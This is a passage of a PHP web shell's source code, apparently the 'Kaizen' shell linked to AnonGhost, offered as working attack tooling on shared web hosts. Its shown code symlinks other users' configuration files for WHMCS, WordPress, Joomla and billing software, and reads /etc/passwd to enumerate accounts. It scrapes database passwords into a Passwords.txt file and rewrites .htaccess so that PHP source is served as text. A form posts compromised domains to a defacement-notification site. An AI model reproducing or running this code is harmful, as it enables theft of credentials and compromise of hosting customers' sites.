6660@symlink('/home4/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
6661@symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
6662@symlink('/home4/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
6663@symlink('/home4/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
6664@symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
6665@symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6666@symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6667@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6668@symlink('/home4/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
6669@symlink('/home4/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
6670@symlink('/home4/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
6671@symlink('/home4/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
6672@symlink('/home4/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
6673@symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
6674@symlink('/home4/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
6675@symlink('/home4/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
6676@symlink('/home4/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
6677@symlink('/home4/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
6678@symlink('/home4/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
6679@symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
6680@symlink('/home4/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
6681@symlink('/home4/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
6682@symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
6683@symlink('/home4/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
6684@symlink('/home4/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
6685@symlink('/home4/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
6686@symlink('/home4/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
6687@symlink('/home4/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
6688@symlink('/home4/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
6689@symlink('/home4/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
6690@symlink('/home4/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
6691@symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
6692@symlink('/home4/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6693@symlink('/home4/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6694@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6695@symlink('/home4/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
6696@symlink('/home4/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
6697@symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
6698@symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
6699@symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
6700@symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
6701@symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
6702@symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
6703@symlink('/home4/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
6704@symlink('/home4/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
6705@symlink('/home4/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
6706@symlink('/home4/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
6707@symlink('/home4/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
6708@symlink('/home4/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
6709@symlink('/home4/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
6710@symlink('/home4/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
6711@symlink('/home4/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
6712@symlink('/home4/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
6713@symlink('/home4/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
6714@symlink('/home4/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
6715@symlink('/home4/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
6716@symlink('/home4/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
6717@symlink('/home4/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
6718@symlink('/home4/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
6719@symlink('/home4/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
6720@symlink('/home4/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
6721@symlink('/home4/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
6722@symlink('/home4/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
6723@symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
6724@symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
6725@symlink('/home4/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
6726@symlink('/home4/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
6727@symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
6728@symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
6729@symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
6730@symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
6731@symlink('/home4/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
6732@symlink('/home4/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
6733@symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
6734@symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
6735@symlink('/home4/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
6736@symlink('/home4/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
6737@symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
6738@symlink('/home4/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
6739@symlink('/home4/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
6740@symlink('/home4/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
6741@symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
6742@symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
6743@symlink('/home4/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
6744@symlink('/home4/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
6745@symlink('/home4/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
6746
6747}
6748
6749//password grab
6750
6751function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
6752{
6753
6754$ar0=explode($marqueurDebutLien, $text);
6755$ar1=explode($marqueurFinLien, $ar0[1]);
6756$ar=trim($ar1[0]);
6757return $ar;
6758}
6759
6760$ffile=fopen('Passwords.txt','a+');
6761
6762
6763$r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/Symconf/";
6764$re=$r;
6765$confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
6766
6767$users=file("/etc/passwd");
6768foreach($users as $user)
6769{
6770
6771$str=explode(":",$user);
6772$usersss=$str[0];
6773foreach($confi as $co)
6774{
6775
6776
6777$uurl=$re.$usersss.$co;
6778$uel=$uurl;
6779
6780$ch = curl_init();
6781
6782curl_setopt($ch, CURLOPT_URL, $uel);
6783curl_setopt($ch, CURLOPT_HEADER, 1);
6784curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6785curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
6786curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
6787$result['EXE'] = curl_exec($ch);
6788curl_close($ch);
6789$uxl=$result['EXE'];
6790
6791
6792if($uxl && preg_match('/table_prefix/i',$uxl))
6793{
6794
6795//Wordpress
6796
6797$dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
6798if(!empty($dbp))
6799$pass=$dbp."\n";
6800fwrite($ffile,$pass);
6801
6802}
6803elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
6804{
6805
6806//WHMCS
6807
6808$dbp=entre2v2($uxl,"db_password = '","';");
6809if(!empty($dbp))
6810$pass=$dbp."\n";
6811fwrite($ffile,$pass);
6812
6813}
6814
6815
6816elseif($uxl && preg_match('/dbprefix/i',$uxl))
6817{
6818
6819//Joomla
6820
6821$db=entre2v2($uxl,"password = '","';");
6822if(!empty($db))
6823$pass=$db."\n";
6824fwrite($ffile,$pass);
6825}
6826elseif($uxl && preg_match('/admincpdir/i',$uxl))
6827{
6828
6829//Vbulletin
6830
6831$db=entre2v2($uxl,"password'] = '","';");
6832if(!empty($db))
6833$pass=$db."\n";
6834fwrite($ffile,$pass);
6835
6836}
6837elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
6838{
6839
6840//Other
6841
6842$db=entre2v2($uxl,"DB_PASSWORD', '","');");
6843if(!empty($db))
6844$pass=$db."\n";
6845fwrite($ffile,$pass);
6846}
6847elseif($uxl && preg_match('/dbpass/i',$uxl))
6848{
6849
6850//Other
6851
6852$db=entre2v2($uxl,"dbpass = '","';");
6853if(!empty($db))
6854$pass=$db."\n";
6855fwrite($ffile,$pass);
6856}
6857elseif($uxl && preg_match('/dbpass/i',$uxl))
6858{
6859
6860//Other
6861
6862$db=entre2v2($uxl,"dbpass = '","';");
6863if(!empty($db))
6864$pass=$db."\n";
6865fwrite($ffile,$pass);
6866
6867}
6868elseif($uxl && preg_match('/dbpass/i',$uxl))
6869{
6870
6871//Other
6872
6873$db=entre2v2($uxl,"dbpass = \"","\";");
6874if(!empty($db))
6875$pass=$db."\n";
6876fwrite($ffile,$pass);
6877}
6878
6879
6880}
6881}
6882echo "<center>
6883<a href=\"Symconf/root/\">Root Server</a>
6884<br><a href=\"Symconf/Passwords.txt\">Passwords</a>
6885<br><a href=\"Symconf/\">Configurations</a></center>";
6886}
6887else
6888{
6889echo "<center>
6890<form method=\"POST\">
6891<textarea name=\"passwd\" class='area' rows='15' cols='60'>";
6892$file = '/etc/passwd';
6893$read = @fopen($file, 'r');
6894if ($read){
6895$body = @fread($read, @filesize($file));
6896echo "".htmlentities($body)."";
6897}
6898elseif(!$read)
6899{
6900$read = @show_source($file) ;
6901}
6902elseif(!$read)
6903{
6904$read = @highlight_file($file);
6905}
6906elseif(!$read)
6907{
6908for($uid=0;$uid<1000;$uid++)
6909{
6910$ara = posix_getpwuid($uid);
6911if (!empty($ara))
6912{
6913while (list ($key, $val) = each($ara))
6914{
6915print "$val:";
6916}
6917print "\n";
6918}}}
6919
6920flush();
6921
6922echo "</textarea>
6923<p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
6924</form></center>";
6925}
6926}
6927}
6928elseif($_GET['do'] == 'symlink') {
6929$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
6930$d0mains = @file("/etc/named.conf");
6931##httaces
6932if($d0mains){
6933@mkdir("Sym",0777);
6934@chdir("Sym");
6935@exe("ln -s / root");
6936$file3 = 'Options Indexes FollowSymLinks
6937DirectoryIndex Kaizen.htm
6938AddType text/plain .php
6939AddHandler text/plain .php
6940Satisfy Any';
6941$fp3 = fopen('.htaccess','w');
6942$fw3 = fwrite($fp3,$file3);@fclose($fp3);
6943echo "
6944<table align=center border=1 style='width:60%;border-color:#333333;'>
6945<tr>
6946<td align=center><font size=2>S. No.</font></td>
6947<td align=center><font size=2>Domains</font></td>
6948<td align=center><font size=2>Users</font></td>
6949<td align=center><font size=2>Symlink</font></td>
6950</tr>";
6951$dcount = 1;
6952foreach($d0mains as $d0main){
6953if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
6954flush();
6955if(strlen(trim($domains[1][0])) > 2){
6956$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
6957echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
6958<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
6959<td>".$user['name']."</td>
6960<td><a href='$full/Sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
6961flush();
6962$dcount++;}}}
6963echo "</table>";
6964}else{
6965$TEST=@file('/etc/passwd');
6966if ($TEST){
6967@mkdir("Sym",0777);
6968@chdir("Sym");
6969exe("ln -s / root");
6970$file3 = 'Options Indexes FollowSymLinks
6971DirectoryIndex Kaizen.htm
6972AddType text/plain .php
6973AddHandler text/plain .php
6974Satisfy Any';
6975 $fp3 = fopen('.htaccess','w');
6976 $fw3 = fwrite($fp3,$file3);
6977 @fclose($fp3);
6978 echo "
6979 <table align=center border=1><tr>
6980 <td align=center><font size=3>S. No.</font></td>
6981 <td align=center><font size=3>Users</font></td>
6982 <td align=center><font size=3>Symlink</font></td></tr>";
6983 $dcount = 1;
6984 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
6985 while(!feof($file)){
6986 $s = fgets($file);
6987 $matches = array();
6988 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
6989 $matches = str_replace("home/","",$matches[1]);
6990 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
6991 continue;
6992 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
6993 <td align=center><font class=txt>" . $matches . "</td>";
6994 echo "<td align=center><font class=txt><a href=$full/Sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
6995 $dcount++;}fclose($file);
6996 echo "</table>";}else{if($os != "Windows"){@mkdir("Sym",0777);@chdir("Sym");@exe("ln -s / root");$file3 = '
6997 Options Indexes FollowSymLinks
6998DirectoryIndex Kaizen.htm
6999AddType text/plain .php
7000AddHandler text/plain .php
7001Satisfy Any
7002';
7003 $fp3 = fopen('.htaccess','w');
7004 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
7005 echo "
7006 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
7007 <table align=center border=1><tr>
7008 <td align=center><font size=3>ID</font></td>
7009 <td align=center><font size=3>Users</font></td>
7010 <td align=center><font size=3>Symlink</font></td></tr>";
7011 $temp = "";$val1 = 0;$val2 = 1000;
7012 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
7013 if ($uid)$temp .= join(':',$uid)."\n";}
7014 echo '<br/>';$temp = trim($temp);$file5 =
7015 fopen("test.txt","w");
7016 fputs($file5,$temp);
7017 fclose($file5);$dcount = 1;$file =
7018 fopen("test.txt", "r") or exit("Unable to open file!");
7019 while(!feof($file)){$s = fgets($file);$matches = array();
7020 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
7021 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
7022 continue;
7023 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
7024 <td align=center><font class=txt>" . $matches . "</td>";
7025 echo "<td align=center><font class=txt><a href=$full/Sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
7026 $dcount++;}
7027 fclose($file);
7028 echo "</table></div></center>";unlink("test.txt");
7029 } else
7030 echo "<center><font size=3>Cannot create Symlink</font></center>";
7031 }
7032 }
7033}
7034elseif($_GET['do'] == 'defacerid') {
7035echo "<center><form method='post'>
7036 <u>Defacer</u>: <br>
7037 <input type='text' name='hekel' size='50' value='Kaizen'><br>
7038 <u>Team</u>: <br>
7039 <input type='text' name='tim' size='50' value='AnonGhost'><br>
7040 <u>Domains</u>: <br>
7041 <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
7042 <input type='submit' name='go' value='Submit' style='width: 450px;'>
7043 </form>";
7044$site = explode("\r\n", $_POST['sites']);
7045$go = $_POST['go'];
7046$hekel = $_POST['hekel'];
7047$tim = $_POST['tim'];
7048if($go) {
7049foreach($site as $sites) {
7050$zh = $sites;
7051$form_url = "https://www.defacer.id/notify";
7052$data_to_post = array();
7053$data_to_post['attacker'] = "$hekel";
7054$data_to_post['team'] = "$tim";
7055$data_to_post['poc'] = 'SQL Injection';
7056$data_to_post['url'] = "$zh";
7057$curl = curl_init();
7058curl_setopt($curl,CURLOPT_URL, $form_url);
7059curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
7060curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
7061curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
7062curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
7063curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
7064$result = curl_exec($curl);
7065echo $result;
7066curl_close($curl);
7067echo "<br>";
7068}
7069}
7070}
7071
7072elseif($_GET['do'] == 'config') {
7073 if($_POST){
7074 $passwd = $_POST['passwd'];
7075 mkdir("Kz_config", 0777);
7076 $isi_htc = "Options all\nRequire None\nSatisfy Any";
7077 $htc = fopen("Kz_config/.htaccess","w");
7078 fwrite($htc, $isi_htc);
7079 preg_match_all('/(.*?):x:/', $passwd, $user_config);
7080 foreach($user_config[1] as $user_cox) {
7081 $user_config_dir = "/home/$user_cox/public_html/";
7082 if(is_readable($user_config_dir)) {
7083 $grab_config = array(
7084 "/home/$user_cox/.my.cnf" => "cpanel",
7085 "/home/$user_cox/.accesshash" => "WHM-accesshash",
7086 "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
7087 "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
7088 "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
7089 "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
7090 "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
7091 "/home/$user_cox/public_html/forum/config.php" => "phpBB",
7092 "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
7093 "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
7094 "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
7095 "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
7096 "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
7097 "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
7098 "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
7099 "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
7100 "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
7101 "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
7102 "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
7103 "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
7104 "/home/$user_cox/public_html/configuration.php" => "Joomla",
7105 "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
7106 "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
7107 "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
7108 "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
7109 "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
7110 "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
7111 "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
7112 "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
7113 "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
7114 "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
7115 "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
7116 "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
7117 "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
7118 "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
7119 "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
7120 "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
7121 "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
7122 "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
7123 "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
7124 "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
7125 "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
7126 "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
7127 "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
7128 "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
7129 "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
7130 "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
7131 "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
7132 "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
7133 "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
7134 "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
7135 "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
7136 "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
7137 "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
7138 "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
7139 "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
7140 "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
7141 "/home/$user_cox/public_html/wp-config.php" => "WordPress",
7142 "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
7143 "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
7144 "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
7145 "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
7146 "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
7147 "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
7148 "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
7149 "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
7150 "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
7151 "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
7152 "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
7153 "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
7154 "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
7155 "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
7156 "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
7157 "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
7158 "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
7159 "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
7160 "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
7161 "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
7162 "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
7163 "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
7164 "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
7165 "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
7166 "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
7167 "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
7168 "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
7169 "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
7170 "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
7171 "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
7172 "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
7173 "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
7174 "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
7175 "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
7176 "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
7177 "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
7178 "/home1/$user_cox/.my.cnf" => "cpanel",
7179 "/home1/$user_cox/.accesshash" => "WHM-accesshash",
7180 "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
7181 "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
7182 "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
7183 "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
7184 "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
7185 "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
7186 "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
7187 "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
7188 "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
7189 "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
7190 "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
7191 "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
7192 "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
7193 "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
7194 "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
7195 "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
7196 "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
7197 "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
7198 "/home1/$user_cox/public_html/configuration.php" => "Joomla",
7199 "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
7200 "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
7201 "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
7202 "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
7203 "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
7204 "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
7205 "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
7206 "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
7207 "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
7208 "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
7209 "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
7210 "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
7211 "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
7212 "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
7213 "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
7214 "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
7215 "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
